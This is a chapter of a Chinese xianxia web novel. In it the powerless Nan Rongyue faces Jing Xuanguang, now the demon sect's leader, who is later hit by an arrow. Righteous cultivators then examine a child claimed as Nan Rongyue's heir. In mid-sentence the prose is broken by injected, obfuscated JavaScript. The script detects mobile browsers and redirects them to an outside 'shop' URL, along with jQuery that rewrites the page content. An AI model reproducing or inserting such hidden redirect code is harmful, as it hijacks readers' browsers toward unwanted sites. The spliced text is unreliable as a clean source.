明明不过分开一个月,南融月却觉得镜玄光仿佛变了一个人,他甚至没办法第一时间将面前这个披散着银发遮住面容的男人,同记忆中那个总是站在他身后,垂眸等他吩咐的男人联系在一起。
以往镜玄光,一直都是一副穿着规整,墨发高高束起的样子,连发丝都好像搭理得一丝不苟,对自己身上的一切都控制到堪称严苛,包括气息。
镜玄光从未有在他面前毫无保留地展露出气息的时候,就像一道无声无息的影子,只要你停下来往身后或者脚边一看,影子就在那里。
被那道猩红的眸子锁定的时候,南融月真的有种命悬一线的感觉,甚至仿佛有预感般,他的死期一定是在下一秒。
真到这一刻时,他发现自己思绪虽千回百转,却比当初面对赫赫天威时,更加镇定。
他去过最黑暗的地方,一丝光线都透不进去,阴影也无法被各种法术法器的光芒驱散,而此时此刻,镜玄光就仿佛那片黑暗本身。
他身上除却面具外,没有佩戴任何金属饰品,一袭深黑除了腰间那一块格格不入的翠绿玉佩,连半点杂色也无,加上对方身上那副腥气,竟让人觉得那身黑衣都是用凝固的血染黑的一般。
生死一线,南融月竟没有去思考怎么从对方手中活下去,而是直勾勾地看着对方,好像百年光阴过去,他眼里第一次真正看见了这个人。
原来,镜玄光在别人面前,是这副样子。
比如压在喉结下方的立领,深黑的腰封和腰带,上面挂着一块碎了的翠绿玉佩,还有这双如同杀红了眼一般的狭长眸子。
南融月突然笑了,可在这道如同要化为实质的杀气中他连发出声音都很困难,他如今修为尽失若是对方这种魔气攻势再扛一会,他这副身体就会吃不消。
毕竟,镜玄光......如今是正儿八经的魔教教主,魔门之首。
反而是镜玄光开口了,他的眼神像是在看一个死人。
前魔教护法之一的百鬼,后查明身份为日月派的百里兰臣,是主上过去给他下达的最后一个命令,肃清叛徒。
而他在魔教大变之日,并未抓住对方……
“你......不是。”
镜玄光眼中的杀意并未减淡,不管对方是不是百里兰臣,今日都得死。
双方这个照面不过一息时间,镜玄光就已双刀同出,却以迅雷不及掩耳之势抬手斩断了朝着自己面门袭来的紫光。
紫衣人突兀地挡在他们中间,他的袖摆银色的日月纹中似有粼粼光华浮动,而他仅有的一只右臂正握着一把半人高的绛紫长弓,而左臂的袖摆正被两股力量交锋而掀起的气浪高高扬起。
“镜玄光,你果然来了。”
镜玄光出现在永嘉城外,虽然没弄出多大阵仗,可这一片气息诡异,灵气流动滞塞,时间一久自然能察觉到异常。
游乘笑的脸色很难看,一方面是因为见到了镜玄光,而另一方面自然是刚刚这么交手下来,他意识到他现在不是镜玄光的对手。
南融月自然也知道这点,却见游乘笑正看着他,冷冷道:“我们两人联手......”
联个鬼。
南融月也来不及翻白眼,低声道:“我拖住他一息,你射他那里。”
而就在他话音落下,旁边的树林中,一道符咒再次成型,在镜玄光的视角中,一团迷雾快速笼罩了他,而在其他人看来眼前没有任何变化。
以那只鱼妖金丹的修为,哪怕施展只作用于一人的幻术,恐怕还没接近镜玄光就会被他周身的魔气撕碎,所以南融月还在这符咒中加入了自己的一滴精血。
可以说在本就残破的身体上,继续撕出一道血口,哪怕是全盛时期的他这么做也要元气大伤,不过如今也没有别的办法了,靠那只小鱼,想困住镜玄光是不可能的。
只不过如今他可以说几乎是凡人之身,他的精血也没什么威力,但是很适合作为符成的原料,只不过,代价有些大了。
游乘笑看了他一眼,在这种关头他也分得出轻重,他手上握着长弓,灵力瞬间凝聚成一支银白长箭,搭在了弦上。
箭被一道无形的力量拉动,弦仿佛被拉到了极致,而就在那一瞬间,一道刺目的紫光朝着镜玄光而去,划出一道笔直的线,而这条线旁边的空气都尽数扭曲。
而镜玄光只是抬起手,如同上次一般用长刀在箭抵达自己面前时一刀将其斩断,可从中却还有一道细小的流光宛如银针一般从箭镞中窜出,刺入了镜玄光的胸口。
竟是一支暗箭。
镜玄光仿佛一点痛觉都没有,只是站在原地,看着面前的雾气,也没有顾及还刺在他胸口的箭。这里就是上次分神之际中了凤阙一剑的地方,伤势并未好全,魔气运转到这里依旧有滞塞感。
“......主上。”
这种幻术对他来说没有任何作用,就像是三岁孩子想用一根木柴光明正大地绊倒一个成年男人一样,若非对方心甘情愿上钩,成功的可能性只能是零。
可不知是不是这幻术的影响,他竟然从中感受到了一丝主上的气息。
南融月听到那声低语,下意识回过头,却只能看到一张被黑雾遮蔽狰狞无比的鬼面。
眼前的场景不过眨眼间就离他远去,南融月发现他们已经站在了永嘉城的城主府,而旁边已经提前出现了数道人影。
自从知道镜玄光出现后便立刻全城戒严,而且还能感受到他们当中那种凝重的气息,看样子都不敢掉以轻心。
南融月脸上一点表情都没有,站在边上不出声也不暴露出气息,淡定自若,完全不像是刚刚跟那个魔头对峙过的样子,不由得让在场修士又生出些许佩服,心中也难免多了些底气。
“此刻永嘉城已经聚集我众多正道天骄,区区镜玄光,他若真敢前来,只不过是螳臂当车,自取灭亡!”那名修士又看向了游乘笑,“而且游仙君还射中了那魔头一箭,他如今负伤更不是我们的对手。”
游乘笑冷哼一声,什么都没说,刚刚在那种情况下,他竟然只能逃走,实在可耻。不过比起那南融月还在时,这镜玄光的实力竟然又上了一个档次......
还是说对方过去在南融月面前,只是在隐藏实力。
南融月给游乘笑指出来的位置,就是他能通过对魔功的了解,又或者是对镜玄光所修魔功的了解,能察觉到对方魔力运转的弱点。
对方中箭时他心里毫无波澜,可在最后隐约听到对方呼唤自己,心中却生出一种诡异的愧疚来。
他不记得自己过去会有这种情绪,他也不知道自己会是个这般舍不得的人。
有什么好舍不得的。
可南融月这一路什么都没说,已经有人领着他们去了城主府一处偏僻的院子,听周围的人的说法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145564|194098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这南融月的血脉可就被关在里面,秘密看守,而周围已经布下了天罗地网,只等魔教自投罗网。
“方才同那镜玄光交手,岂不是已经打草惊蛇,那魔头怕不是不敢来了,更何况还中了一箭。”
游乘笑听到这也皱着眉,哼了一声,冷冷道:“若此计不成,那便杀入魔域,可不会给他们休养生息的机会。”
他看了一眼旁边的百里兰臣,直觉有些不对,不过他如今的注意力都放在了围杀镜玄光身上,而且方才百里兰臣也给他指出了那镜玄光身上的弱点,对方还真能拖住那疯子一样的镜玄光,否则定是一番苦战。
那种时刻都不出手,该说百里兰臣是妄自托大,还是自己胸有成竹,反倒是让他当了那个打手,对方干干净净一点事都没有!
萧绪道:“若魔教无人来截人,我们又要如何处置这魔门血脉。”
“依我看还是杀了好,斩草除根,要留他活着早晚成心腹大患。”
“可毕竟还是个孩子......”
“你们就已经能确认那确实是南融月亲子?”
“你们看了就知道,跟南融月有三分相像,这点我想三位再清楚不过。”他一边说一边看向了南融月,风阙和萧绪。
萧绪点点头,叹了口气道:“确实,观其摸样,又是十岁的年纪,除了南融月之后外,再无别的可能。”
南融月现在真的对这个后人提不起一点兴致,满脑子还是那张被笼罩在黑雾中的银色鬼面。
心中有不解,一部分是对镜玄光的,一部分是对他自己的,反而让他从未在这种小事上敏锐的心,都隐隐烦躁起来。
不过短短一月,倒像变为陌生人一般,也不知道对方身上发生了什么。
虽然镜玄光确实意气风发,让这些正道草木皆兵,可又仿佛哪里不对。
“此事还得从长计议,不觉得这孩子出现的时机太过巧合,又刚好被人找到……”
突然有人叫住了南融月:“宗子可要进去一看?恐怕是与不是,你们心中更有数。”
南融月一言不发,朝着屋里走去,这屋内屋外都设置了众多禁制,以南融月如今的修为不可能破开,而那条鱼妖,光是从镜玄光的领域里逃出来,还用了他的精血为材料画下符咒,就已经把那条鱼给吸干了。
而那神识展开无意识形成的领域就好比什么呢,好比对方呼吸时自然而然呼出一口气,就不得不让他们全力应对。在修真界,修为的差距,哪怕相差一个等级也是难以逾越的鸿沟。
如果他今天真的阴差阳错死在镜玄光身上,南融月认真想了想,他会觉得自己很可笑吗?
没死在那注定的天劫之下,反而是以这种让人贻笑大方的死法。
可实际上,他心里却觉得,若是他此生硬要求个死法,死在镜玄光手上,似乎是他最接受的结果。
真是奇怪。
突然一个坐在桌前的孩子听到动静扭头看向他,而那张脸也映入南融月的眼帘,在看到对方那张跟自己有几分相似的脸时,南融月有些意外。
他本以为这个所谓的血脉是一些人随便找了不相干的人来凑数的,没想到......
南融月感受到了那点微弱的血脉联系,在心里讽刺地笑笑,面上却一点都不显。
旁边的游乘笑冷笑一声:“孩子都那么大了,那南融月可真会四处留情。”